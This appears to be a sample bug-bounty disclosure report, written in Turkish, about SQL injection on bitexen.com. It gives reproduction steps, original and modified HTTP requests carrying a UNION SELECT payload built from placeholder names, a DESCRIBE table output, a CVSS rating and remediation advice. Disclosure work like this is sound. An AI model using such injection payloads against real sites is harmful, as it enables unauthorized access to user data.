SQL Injection - bitexen.com

Araştırmacı bilgileri

Merhaba, adım Zeynep. Bana zeynep@example.com adresinden ulaşabilirsiniz.

Bulgu Tanımı ve Özet

Web uygulaması üzerinden giden isteği Burp Suite ile değiştirerek veritabanında SQL komutları çalıştırabildim. Veritabanındaki tabloların şemalarını kontrol ettim ama hassas veri bulunabileceği düşüncesiyle verilere erişmedim. Tablo yapılarında kullanıcı maili ve telefonu gibi alanlar vardı.

Etkilenen URL / Uygulama

- Domain bitexen.com

Risk Kategorisi

- Risk: Kritik
- Risk sebebi: Hassas kullanıcı bilgilerinin (kimlik verisi, adres, telefon) açığa çıkması
- CVSS v3 skoru: 9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Tekrarlama Adımları / PoC

- Bitexen hesabına giriş yapılıp kullanıcı bilgileri değiştirilir ve 'Kaydet' butonuna basılır.
- Giden POST verisindeki `username=example` içine `' UNION SELECT sum(columnname ) from tablename --` yerleştirilir.
- İsteğin son hali `username=example' UNION SELECT sum(columnname ) from tablename --` olacak şekilde gönderilir.
- Orijinal İstek

```
  POST https://bitexen.com/uygulama/path HTTP/1.1
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0)
Gecko/20100101 Firefox/47.0
  Host: bitexen.com
  Content-Type: text/xml; charset=utf-8
  X-BTXN-VDP: example@example.com
  .
  .
  .

  data
```

- Orijinal Cevap

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
.
.
.

OK
```

- Değiştirilen İstek

```
POST https://bitexen.com/uygulama/path HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0)
Gecko/20100101 Firefox/47.0
Host: bitexen.com
Content-Type: text/xml; charset=utf-8
X-BTXN-VDP: example@example.com
.
.
.

data' UNION SELECT sum(columnname ) from tablename --
```

- Değiştirilen Cevap

```
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
.
.
.

5
```

- Aynı istek Burp Repeater ile bu sefer `DESCRIBE bitexen_db.users` komutu girilerek gönderilir. Veritabanına ve tablolara erişim yapılabildiği görülmektedir.

```
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | YES  | MUL | NULL    |       |
| Name  | varchar(100) | YES  | MUL | NULL    |       |
```

```
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.05 sec)
```

Ekran görüntüleri:

- Görüntü 1
- Görüntü 2

Etki

Tüm kullanıcıların e-posta adreslerine ve telefon numaralarına erişilebiliyor. Parolalar bulunmadığı için hesap erişimi mümkün değil ancak elde edilebilecek veriler kritik önemde. Ayrıca, saldırgan tarafından veriler düzenlenebilir veya silinebilir.

Çözüm Önerisi

Web uygulamasından yapılan istekler SQL komutuna dönüştürülmeden önce temizlenmeli ve tehlikeli istekler reddedilmeli. Ayrıca erişim sağlayan SQL servisinin yetkileri limitlenmeli.

Kaynaklar:

- https://www.w3schools.com/sql/sql_injection.asp
- https://portswigger.net/web-security/sql-injection
- https://owasp.org/www-community/attacks/SQL_Injection
- https://www.acunetix.com/websitesecurity/sql-injection/